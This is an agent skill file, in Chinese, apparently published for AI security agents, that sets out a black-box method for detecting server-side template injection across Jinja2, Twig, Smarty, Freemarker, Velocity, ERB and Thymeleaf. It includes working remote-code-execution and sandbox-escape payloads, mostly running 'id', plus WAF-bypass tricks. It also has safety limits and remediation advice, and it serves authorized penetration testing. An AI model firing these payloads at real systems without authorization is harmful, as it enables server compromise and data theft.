ssti-testing

star 72

检测 SSTI(服务端模板注入)风险;当用户输入出现在模板渲染结果中(个性化内容、邮件模板、动态页面生成)时触发。

Q16G By Q16G schedule Updated 6/7/2026

name: ssti-testing description: >- 服务端模板注入(SSTI)多引擎综合检测——分诊 Jinja2 / Twig / Smarty / Freemarker / Velocity / Mustache 等模板引擎,覆盖表达式求值回显 / 沙箱逃逸 / RCE / 带外通道。 流量中用户输入流入模板渲染、响应回显数学运算结果(如 {{7*7}}49)、错误信息含模板引擎关键字、404 / error 页回显用户路径名时使用。 when-to-use: 当用户输入出现在模板渲染结果中(个性化内容、邮件模板、动态页面生成),可能命中 Jinja2/Twig/Freemarker/Velocity 等模板引擎时 allowed-tools: bash,read_file,list_files,rg user-invocable: false

SSTI:服务端模板注入多引擎综合检测(黑盒)

1. 触发线索 / 适用信号

以下是已知的 SSTI 触发线索,作为基线起点而非必检硬清单。结合流量与响应特征动态调整:

  • 适用且已完成 → [x] done
  • 明确不适用 → [-] n/a (原因)(原因要具体到响应特征)
  • 基线未列出但实际发现 → [+] added (来源)

响应特征命中信号(漏洞-specific):

  • 数学表达式被求值并回显({{7*7}}49${7*7}49<%=7*7%>49{7*7}49
  • 错误响应含模板引擎栈帧关键字(jinja2.exceptions / TwigError / freemarker.core / velocity.runtime / Smarty
  • 404 / error 页将用户提交的路径名 / 参数原样作为模板片段渲染(?name={{7*7}} 在错误页里出现 49
  • 用户提交字符串中的模板分隔符({{ }} / ${ } / <% %>)被剥离或替换 → 表明已进入模板解析阶段

入口类型粗筛(仅作类似场景示例 不限于此):

  • 模板渲染接口:/templates/render / /preview 形态,直接接受用户模板源码
  • 邮件 / 站内信 / 短信模板:用户可定制的邮件正文 / 主题
  • 报表 / PDF 生成:用户可控的报表模板片段
  • 个性化页面:昵称 / 签名 / 个人主页 / 欢迎语等模板变量被反写进渲染上下文
  • 错误页 / 自定义错误信息:参数值被渲染到错误模板中
  • 营销创意 / CMS 富文本:用户输入嵌入模板源码而非作为模板数据

业务命名(如 template / markup / body_template)只作粗筛根据——sink 语义相同就属此范围。JSON body 任一字段都是 SSTI 候选,不限于"看起来像模板"的字段名;具体参数位置由 HAR 实际请求推导,不在此预设清单。

2. 造成原因

source 是任何用户可控输入(query / body / header / cookie / 路径参数 / 已入库再回读的字段)。sink 是模板解析上下文:Jinja2.Template(s).render() / Twig_Environment::createTemplate($s) / freemarker.template.Template(new StringReader(s)) / velocity.evaluate(...) / Smarty display(string:s) / Go html/template.Parse(s) / ERB ERB.new(s).result 等任何把字符串当作模板源码解析的引擎。

任何 source 未经"作为模板数据"绑定就被作为模板源码解析,即构成 SSTI——攻击者控制的字符串改变了模板表达式语法树。模板引擎将其中的表达式求值并执行,从单纯的字符串变成可执行的代码上下文。安全做法是把用户输入作为变量值(context data)而非模板源码本身。

与 XSS 的关键区别:XSS 是模板输出未转义的 HTML 字符(数据流出),SSTI 是模板解析字符串中的表达式(数据被当成代码)。同一形态可能既是 XSS 又是 SSTI 候选——sink 语义不同需独立判定。

沙箱不是免疫层:模板引擎沙箱(Jinja2 SandboxedEnvironment / Twig SandboxExtension / Velocity SecureUberspector)阻止 RCE 但不消除注入——表达式仍可求值、上下文对象仍可枚举、信息泄露 / DoS 通道仍存在;且沙箱本身常被逃逸(魔术属性链 / 反射 / 类层级遍历)。

3. 响应信号映射

列出 SSTI 黑盒可观测的响应通道集合(observation-channel)——攻击效果可被黑盒探测的侧信道。输入位置(query / body / header / cookie / path 等本漏洞典型 source)从 HAR 实际请求推导,本节不预设清单。

响应观察通道集合(observation-channel):

  • arith-echo:数学表达式求值结果回显({{7*7}}49 等同构信号)
  • error-engine-echo:模板引擎栈帧 / 异常类名回显到响应
  • object-enum:上下文对象 / 类层级 / 属性枚举可见(如 {{config}} / {{self.env}} 输出对象 dump)
  • file-read:通过模板表达式读取本地文件(__import__('os').open(...) 等)
  • cmd-echo:通过模板表达式执行 OS 命令且回显结果(popen('id').read()
  • oob-dns / oob-http:带外通道触发(无回显时由模板表达式发起 DNS / HTTP 请求)
  • secondary-readback:二阶 SSTI 在另一端点回读时触发解析
  • sandbox-confined:表达式求值生效但被沙箱限制无 RCE(仍属 confirmed medium)

4. 常见类型

类型 触发条件 响应特征 适用引擎
Jinja2 表达式注入 {{ }} / {% %} 分隔符被解析 {{7*7}}49{{7*'7'}}7777777(Python 字符串乘法) Python Jinja2 / Flask
Twig 表达式注入 {{ }} 分隔符被解析 {{7*7}}49{{7*'7'}}49(数值乘法) PHP Twig / Symfony
Smarty 表达式注入 { } 分隔符被解析 {7*7}49{$smarty.version} 暴露版本 PHP Smarty
Freemarker 表达式注入 ${ } / <#assign> 被解析 ${7*7}49<#assign ex="freemarker.template.utility.Execute"?new()> Java Freemarker
Velocity 表达式注入 #set / $ 被解析 #set($x=7*7)$x49$class.inspect("java.lang.Runtime") Java Velocity
Mustache / Handlebars 注入 {{ }} 分隔符被解析 多数引擎为 logic-less 仅信息泄露;Handlebars {{#with}} 可触发原型链 JS Handlebars / Mustache
ERB / Slim 注入 <%= %> 被解析 <%=7*7%>49<%= system('id') %> 直接 RCE Ruby ERB
Pebble / Thymeleaf 注入 {{ }} / [[${ }]] 被解析 [[${7*7}]]49;Thymeleaf SpringEL T(java.lang.Runtime) Java Pebble / Thymeleaf
Go html/template 注入 {{ }} 分隔符 + Parse(userInput) 内置函数有限;沙箱内枚举 printf / index / slice 仍属注入 Go html/template
客户端模板注入(AngularJS) {{ }} 在前端被 $compile 解析 {{constructor.constructor('alert(1)')()}} 弹窗 AngularJS 1.x
二阶 SSTI 入库时不解析,回读时进入模板 用户昵称含 {{7*7}},admin 端列表渲染时解析 全部
OOB(带外) 表达式求值但响应无回显 通过表达式发起 DNS / HTTP 请求到攻击者域名 Jinja2 / Freemarker / Velocity

5. 侦察输入

按以下方式从侦察输出中筛 SSTI 候选:

从 HAR / 端点账本

  • 端点路径含 /render / /preview / /template / /welcome / /email / /notify / /report / /pdf
  • 参数名含 template / body_template / markup / content / message / subject / name / greeting / signature
  • 响应里曾出现过模板引擎错误关键字(jinja2 / Twig / Freemarker / Velocity / Smarty
  • POST / PUT 端点的 body 全字段(JSON / form 各字段都是候选,包括嵌套对象字段)
  • 路径参数被回显到 404 / error 页(典型如 Flask /<name> 模式)

从业务场景(由 page-analysis 输出):

下列业务场景仅作类似场景示例 不限于此;以 page-analysis 实际输出为准。

  • SaaS:邮件 / 通知 / 站内信模板定制;自定义报表
  • 营销 / CMS:广告创意模板、落地页生成、富文本编辑器
  • 客服 / 工单:自动回复模板、动态填充用户数据
  • 论坛 / 社区:用户签名、个人主页、欢迎语
  • 运维 / DevOps:告警通知模板、CI/CD 流水线模板渲染

从身份切换 HAR 对比

  • 普通用户 / 管理员两份 HAR 里仅在管理员端出现的模板渲染端点是高价值候选(admin 端常有"自定义邮件模板""通知模板配置"等更高权限的解析能力)
  • 跨子系统的同名 /render / /preview 端点每个独立测,不假设"在 A 测过 B 也安全"

从静态资源回显

  • 404 / 500 错误页是否将 URL 路径段渲染回 body(Flask、Express 等框架常见)
  • 上传文件名是否被回显到下载列表 / 错误提示 / 邮件通知中

业务命名(如"模板""内容""消息")只作粗筛——sink 语义相同就是候选,JSON body 任一字段都是 SSTI 候选,不限于"看起来像模板"的字段名。

6. 框架 / 模板引擎响应指纹

通过响应(错误关键字 / header / 求值差异 / 行为)推断后端模板引擎 / 框架 / 沙箱模式,优化 payload 选择。

模板引擎响应指纹

响应特征 推断引擎 payload 选择
{{7*'7'}}7777777(Python 字符串乘法) Jinja2 / Mako {{config.__class__.__mro__}} 探测沙箱、{{ ''.__class__.__mro__[1].__subclasses__() }} 提取类
{{7*'7'}}49(数值乘法) Twig {{_self.env}} / {{['id']|filter('system')}}
{7*7}49{$smarty.version} 回显版本 Smarty {php}phpinfo();{/php}(旧版)/ {Smarty_Internal_Write_File::writeFile(...)}
${7*7}49,错误页含 freemarker.core.ParseException Freemarker <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
#set($x=7*7)$x49,错误含 org.apache.velocity Velocity $class.inspect("java.lang.Runtime").type.getMethod("exec",...)
<%=7*7%>49,错误含 (erb) ERB / Ruby <%= system('id') %> / <%= IO.popen('id').read %>
[[${7*7}]]49,错误含 org.thymeleaf Thymeleaf 用 SpringEL [[${T(java.lang.Runtime).getRuntime().exec('id')}]]
错误含 jinja2.exceptions.TemplateSyntaxError Jinja2 同上
错误含 Twig\Error\SyntaxError Twig 同上
错误含 freemarker.core.ParseException Freemarker 同上
{{constructor.constructor('alert(1)')()}} 弹窗(前端) AngularJS 1.x 客户端模板注入,区别于服务端

框架响应指纹

响应特征 推断框架 默认模板引擎
Server: gunicorn / Werkzeug debugger Flask / Django Jinja2 / DTL
X-Powered-By: Symfony / Set-Cookie: symfony Symfony Twig
Server: nginx + Spring 栈帧 Spring Boot Thymeleaf / Freemarker
X-Powered-By: Express Node.js Express EJS / Pug / Handlebars
Set-Cookie: PHPSESSID + WordPress / Laravel 标记 PHP Blade / Twig / Smarty
Server: gin / Go 栈帧 Go gin / echo html/template / pongo2

沙箱与防护响应指纹

响应特征 推断 绕过方向
{{config}} 返回空 / 异常但 {{7*7}} 仍求值 Jinja2 SandboxedEnvironment lipsum.__globals__ / cycler.__init__.__globals__
{{['id']|filter('system')}} 被阻断但 {{7*7}} 求值 Twig SandboxExtension 找未注册到黑名单的 filter / 函数
${"freemarker.template.utility.Execute"?new()} 被阻断 Freemarker Configuration.setAPIBuiltinEnabled(false) 或 sandbox 找新增的可达类(ObjectConstructor 等)
表达式输出被实体编码(&#123;&#123;7*7&#125;&#125; 仅 XSS 防护,无 SSTI 解析 排除 SSTI,转 XSS 路线

响应指纹仅作辅助判断——真实的 sink 验证仍需在 §9 闭环要求章节定义的可观测效果证据。

7. 思考检查点

加载本 skill 时按这些问题思考:

  • 这个参数在 HAR 里出现在哪个位置?响应里有没有可观察的表达式求值回显或差异通道?
  • 同端点其他参数是否走同一段模板渲染模板?(同模板下其他字段往往是候选)
  • 响应里有模板引擎错误关键字吗?没有的话,能否用沙箱内对象枚举 / 带外 / 数值差分作为侧信道?
  • 这个字段是被当作模板源码解析,还是只作为模板数据填入?(前者 SSTI,后者 XSS)
  • 沙箱是否启用?沙箱限制 RCE 不等于无漏洞——表达式可求值即已 confirmed(medium 起判)
  • 是不是二阶?这个参数会被入库吗?后续哪些端点会回读它进入模板上下文?
  • 跨子系统是否有同形态的 /render / /preview 端点?(admin 端常复用普通端模板代码)

8. 检测方法论 / 决策树

全局约束(默认保守预算)

  • 单参数最多 15 次请求(含基线 / 多引擎探测 / 重试);同一轮只改 1 个参数
  • 探测阶段仅使用数学表达式{{7*7}} 等),不执行系统命令;命令仅在确认引擎后用无害命令(id / hostname)演示
  • 并发建议 1;抖动大时加重试而非加并发
  • 一旦"确认"立即停止进一步利用探测,沙箱逃逸 / RCE 评估按需小步推进

Step 0:基线采集

  1. 发送原始请求 2-3 次,记录"基线响应特征"
  2. 标记并忽略动态字段(时间戳 / 随机 ID / sessionToken)
  3. 确认参数值在响应中原样回显的位置——SSTI 必须存在回显或副作用通道才能观测

Step 1:多引擎表达式探测

发送各引擎的标志性表达式,观察是否被求值:

引擎候选 探测 payload 命中信号
Jinja2 / Twig / Pebble / Handlebars {{7*7}} 响应回显 49
Smarty {7*7} 响应回显 49
Freemarker / Thymeleaf ${7*7} 响应回显 49
Velocity #set($x=7*7)$x 响应回显 49
ERB / Slim / EJS <%=7*7%> 响应回显 49
Thymeleaf 转义模式 [[${7*7}]] 响应回显 49

对照 payload(防偶然命中):发送 {{8*8}} / ${8*8} 等,回显应变为 64——若两个表达式都映射到同一固定值,则非 SSTI 而是字符串过滤异常。

Step 2:引擎差异化指纹

按 §6 响应指纹表识别具体引擎。关键差异化探针:

  • {{7*'7'}}:Jinja2 → 7777777(Python 字符串乘法);Twig → 49(数值乘法)
  • ${7*7} 命中但 <#assign> 不可用 → 可能是 Thymeleaf 而非 Freemarker
  • {$smarty.version} 回显版本号 → 确认 Smarty 并取版本

结论标注置信度(high / medium / low)。

Step 3:策略决策树

表达式被求值且响应回显结果?           → 走对象枚举 / RCE 链
表达式被求值但响应无回显?             → 沙箱内 OOB(DNS / HTTP)
错误响应含模板栈帧但无求值结果?       → 报错型 SSTI(信息泄露,suspected→确认)
分隔符被剥离 / 替换但保留其他字符?     → 已进入解析阶段(suspected→换分隔符再试)
完全原样回显或被实体编码?             → 排除 SSTI(可能 XSS)

Step 4:利用确认(仅在授权范围内)

根据识别的引擎,使用对应的链确认能力范围:

引擎 沙箱外 RCE 沙箱内信息泄露
Jinja2 {{config.__class__.__init__.__globals__['os'].popen('id').read()}} {{lipsum.__globals__.os.popen('id').read()}} / {{cycler.__init__.__globals__.os.popen('id').read()}}
Twig {{['id']|filter('system')}} / {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}} {{_self.env}} dump 配置
Smarty {php}system('id');{/php}(旧版) / {Smarty_Internal_Write_File::writeFile('/tmp/x','x',$smarty)} {$smarty.version} / {$smarty.template}
Freemarker <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} <#assign value="freemarker.template.utility.ObjectConstructor"?new()>
Velocity #set($e="exp")$e.getClass().forName("java.lang.Runtime").getMethod("exec",$e.getClass()).invoke(...) $class.inspect("java.lang.Runtime")
ERB <%= system('id') %> / <%= IO.popen('id').read %> <%= self.class %>
Go html/template 沙箱内通常无 RCE;枚举内置函数集(printf/index/slice/html/js/urlquery/eq {{.}} / {{printf "%#v" .}} 暴露上下文
Thymeleaf [[${T(java.lang.Runtime).getRuntime().exec('id')}]](SpringEL) [[${session}]] / [[${request}]]

Step 5:确认 + 防误报

  • 强证据(满足其一即 confirmed):表达式求值结果稳定回显({{7*7}}49{{8*8}}64);沙箱内对象枚举返回非空 dump;带外通道收到明确归属本注入的请求;执行两个不同命令(如 id / hostname)输出均可控
  • 弱证据(需两类同时满足才升 confirmed):错误响应含模板栈帧 + 分隔符被剥离 / 替换;单次求值命中但未稳定复现 + 引擎指纹一致
  • 拒绝条件:单次 500 / 单次模板报错 / payload 字符在响应里但数值未被求值——一律 suspected;分隔符被实体编码(&#123;)→ not vulnerable(仅 XSS 路径)

Payload 范式与编码绕过

  • WAF 关键字过滤(__class__ / config)→ 用属性访问的等价写法(['__class__'] / attr('__class__') 等)
  • 分隔符过滤({{ }} 被剥)→ 试其他分隔符({% %} / {# #})或自定义分隔符配置探测
  • 字符串过滤(引号被禁)→ 用 request.args.x 间接获取 / 字符 chr 拼接
  • 长度限制 → 多步分散在多请求({% set x = ... %} 跨片段不可行,需找单包 payload 范式)
  • 输出被 HTML 转义但表达式仍求值 → 仍属 confirmed(求值已发生),危害分级看是否可触发副作用

基线检查项(按 §4.3 三态标注)

  • 单参数所有候选位置(query / body / header / cookie / path)都过了 Step 0-1
  • 多引擎分隔符全覆盖(至少 Jinja2 / Twig / Smarty / Freemarker / Velocity / ERB 六类)
  • 同端点其他参数同步分诊
  • 二阶通道:从入库端点追到回读端点是否进入模板渲染
  • 错误页 / 404 是否将路径参数渲染为模板片段

9. 闭环要求(必须遵守)

闭环判定(confirmed / suspected / not_vulnerable)以 common/closure-verification.md 为准。下面只列本漏洞特有的可观测信号。

confirmed(必须挂可观测效果证据)

  • 表达式求值回显{{7*7}}49{{8*8}}64 都稳定可复现,且不带 payload 时响应里不出现 49 / 64
  • 沙箱内对象枚举{{config}} / {{_self.env}} / {{.}} 等输出非空对象 dump,沙箱限制 RCE 但表达式求值生效仍判 confirmed (medium)
  • 沙箱外 RCE:执行两个不同无害命令(如 id / hostname),输出均可控且与命令语义匹配
  • OOB:带外通道(DNS / HTTP)收到明确归属本注入的请求,含时间戳和唯一 token
  • 二阶 SSTI:入库字段在回读端点被解析(如 admin 列表页渲染包含 {{7*7}} 的昵称时回显 49

suspected(落 status=needs_review

  • 单次求值命中(未稳定复现)
  • 错误响应仅到"模板语法错误"层级,未拿到任何求值结果或对象 dump
  • 分隔符被剥离 / 替换但未观察到求值结果
  • payload 字符出现在响应里但数值未变化(可能仅字符串回显,非求值)

not_vulnerable(落 status=not_vulnerable

  • 输入被完整实体编码({{&#123;&#123;)且无任何引擎差异化探针被求值
  • 该端点不接触模板引擎(静态资源 / 纯 JSON 序列化输出 / 健康检查)
  • 同模板下所有 source 字段均作为模板数据(context value)绑定(来自 graybox 流程的白盒证据)

禁止仅凭"payload 字符在响应里""响应 500""错误信息含 template 字样"判 confirmed——这些只到 suspected。沙箱限制 RCE 不等于无漏洞:只要表达式被求值,已属 confirmed(medium),附沙箱绕过评估。

反例义务(必须遵守)

why:反例义务属于交付契约——"该子系统无 SSTI"或"已防护"结论是覆盖完整性的产物声明,缺失反向验证清单会让下游误信"该维度全站安全"。模板引擎种类多、分隔符差异大,缺失多引擎覆盖会让漏报集中在小众引擎上。

写"未发现 SSTI"或"已防护"前,产物必须包含:

  • 测过的 SSTI 候选端点完整清单(按 sink 语义枚举,所有触发线索类别都覆盖:/render / 邮件 / 报表 / 个性化 / 错误页 / 路径回显 / 二阶 等)
  • 每端点测过的引擎分隔符类型(Jinja2 {{}} / Smarty {} / Freemarker ${} / Velocity #set$ / ERB <%=%> / Thymeleaf [[${}]] 至少六类)
  • 每端点的响应证据(基线响应 / payload 响应 / 求值结果 / 沙箱限制证据 / 内置对象枚举结果)

清单不完整 → 结论降级为 partial-coverage 并显式声明未覆盖范围。

10. 具象化反例库

FP(看似命中实际不构成)

反例 1:payload 字符在响应里但数值未求值

  • 抽象规则:字符回显 ≠ 表达式求值
  • 具体场景:请求 ?name={{7*7}},响应回显 Hello, {{7*7}},字面值原样输出
  • 关键识别特征:响应中 {{7*7}} 完整保留,未变成 49
  • 排除方法:换 {{8*8}} 看是否回显 64;若仍原样回显,则参数只作为字符串拼接进 HTML(可能是 XSS 候选,不是 SSTI)

反例 2:分隔符被实体编码

  • 抽象规则:HTML 实体编码 ≠ 模板解析
  • 具体场景:响应里 {{7*7}} 变成 &#123;&#123;7*7&#125;&#125;
  • 关键识别特征:响应中分隔符被实体化,浏览器视觉上仍是 {{7*7}} 但 HTML 层是实体
  • 排除方法:用其他分隔符(${ } / <%= %>)测;都未求值且都被编码 → not vulnerable

反例 3:响应 500 含模板栈帧但无任何求值

  • 抽象规则:模板栈帧 ≠ SSTI confirmed
  • 具体场景:响应 500,body 含 jinja2.exceptions.TemplateNotFound: foo
  • 关键识别特征:是"模板未找到"类异常,不是用户输入触发的语法错误
  • 排除方法:删 payload 看是否仍 500;可能是服务端自身模板路由问题,与本参数无关

FN(看似不命中实际是真洞)

反例 4:沙箱限制 RCE 被误判 not_vulnerable

  • 抽象规则:沙箱阻止 RCE 不等于无 SSTI
  • 具体场景:{{7*7}} 求值为 49,但 {{config.__class__}}SecurityError
  • 关键识别特征:表达式可求值 + 危险属性被沙箱拦截
  • 确认方法:求值生效本身已是 confirmed (medium);继续找沙箱外可达的对象(lipsum / cycler / range),评估沙箱绕过可能性

反例 5:JSON body 字段被忽略的 SSTI 候选

  • 抽象规则:JSON body 字段每个都是候选,不能只测顶层可见字段
  • 具体场景:POST /api/notify body 含 {"recipient": "...", "subject": "...", "body": "..."},body 字段被作为邮件模板渲染
  • 关键识别特征:HAR 里 POST body 字段未在 query string 出现,但响应或带外(邮件送达后)能观察求值
  • 确认方法:JSON body 每个字段单独 fuzzing {{7*7}} / ${7*7} 等,参考 Step 1 多引擎探测

反例 6:路径参数被错误页渲染

  • 抽象规则:404 错误页常将 URL 路径段作为模板片段渲染
  • 具体场景:访问 /user/{{7*7}} 返回 404,body 含 User 49 not found
  • 关键识别特征:路径段中的表达式被求值后嵌入错误页
  • 确认方法:用 /user/{{8*8}} 验证 64;再做引擎差异化探针确认

易混淆案例

反例 7:客户端模板注入(CSTI)被误归为 SSTI

  • 抽象规则:前端 AngularJS / Vue 模板引擎解析 ≠ 服务端 SSTI
  • 具体场景:响应是静态 HTML,{{7*7}} 在浏览器中被 AngularJS $compile 解析为 49
  • 关键识别特征:用 curl 直接看响应里仍是 {{7*7}};浏览器渲染后才变 49
  • 确认方法:禁用浏览器 JS 看是否仍求值;CSTI 风险等级 / 修复路径与 SSTI 不同,需单独记

反例 8:跨子系统隐式推广(漏报高发模式)

  • 抽象规则:在子系统 A 测过 ≠ 子系统 B 也安全
  • 具体场景:测了 user-portal 的 /templates/render 未发现 SSTI,admin-portal 同名端点未测就推断安全
  • 关键识别特征:不同子系统、不同团队、不同时期;admin 端常复用普通端模板代码但实现可能各异(沙箱配置不同 / 引擎版本不同)
  • 确认方法:admin / user / 第三方接入端每个子系统独立做反例义务自检

11. 测试安全边界

破坏性 / 不可逆动作的闭环边界以 common/closure-verification.md《破坏性 / 不可逆动作的闭环边界》节为准。下面只列 SSTI 特有的破坏点。

禁止对真实业务执行以下动作来"挂可观测效果":

  • system('rm -rf ...') / popen('shutdown ...') 类破坏性命令
  • 通过模板表达式写文件覆盖业务文件(Smarty_Internal_Write_File::writeFile / Freemarker 文件写入 API)
  • 通过模板表达式调用业务逻辑(如 {{user.delete()}} 风格的上下文方法调用)
  • 通过 SSTI 读取并外传业务敏感数据(密钥 / token / 配置文件中的连接串)—— 演示读取可,但不外传不留底

允许的非破坏验证手段:

  • 数学求值探针{{7*7}} / ${7*7} / <%=7*7%> 等无副作用算术,配合对照值({{8*8}})防误报
  • 无害命令演示id / hostname / whoami / pwd 等只读命令,确认 RCE 能力即停
  • 沙箱内对象枚举{{config}} / {{_self.env}} / {{.}} 等只读 dump,记录"可读到什么"但不外传内容
  • 带外通道:DNS / HTTP OOB(不修改目标状态)
  • 哨兵自证:建测试模板 / 测试上下文,仅对哨兵执行破坏性表达式

12. 修复建议

源头治理(首选)

  • 不将用户输入作为模板源码:用户输入作为模板变量值(context data)传入预定义模板:
    • Jinja2:Template(static_template).render(user_input=value) 而非 Template(user_input).render()
    • Twig:$twig->render($predefined, ['data' => $user_input]) 而非 createTemplate($user_input)->render()
    • Freemarker:用预定义 .ftl 文件 + Configuration.getTemplate(name),禁止 new Template(name, new StringReader(user_input), cfg)
    • Go html/template:用静态 .tmpl 文件 + template.ParseFiles,禁止 template.New("").Parse(userInput)
  • 客户端模板(AngularJS):使用 $sce 服务标记可信内容;避免在 ng-bind-html 中传入用户输入

沙箱模式(次选,深度防御)

  • Jinja2:SandboxedEnvironment + 移除危险全局(lipsum / cycler 在严格场景下要 patch)
  • Twig:SandboxExtension + SecurityPolicy 显式白名单 tags / filters / functions / methods
  • Freemarker:Configuration.setAPIBuiltinEnabled(false) + 自定义 ObjectWrapper 限制可达类
  • Velocity:SecureUberspector + 移除 RuntimeInstance 类的反射访问

沙箱不是免疫层:表达式求值生效本身已构成 SSTI(信息泄露 / DoS 风险);沙箱仅减少利用面,不能替代源头治理。

边界过滤(仅作辅助)

  • WAF 规则覆盖常见 payload({{ / }} / ${ / #set / <%= / __class__ 等关键字)——仅作辅助,不替代源头治理
  • 应用层拒绝模板分隔符——易绕过(自定义分隔符 / 编码绕过),仅作日志记录与告警触发

兜底拒绝

  • 模板渲染进程最小权限:禁止文件系统写、限制网络出向
  • 错误响应不暴露模板栈帧(生产环境关闭 debug 模式 / 详细错误页)
  • 二阶字段在回读到模板上下文前重新做白名单过滤,不复用入库时的"已校验"假设

参考

Install via CLI
npx skills add https://github.com/Q16G/aster --skill ssti-testing
Repository Details
star Stars 72
call_split Forks 6
navigation Branch main
article Path SKILL.md
More from Creator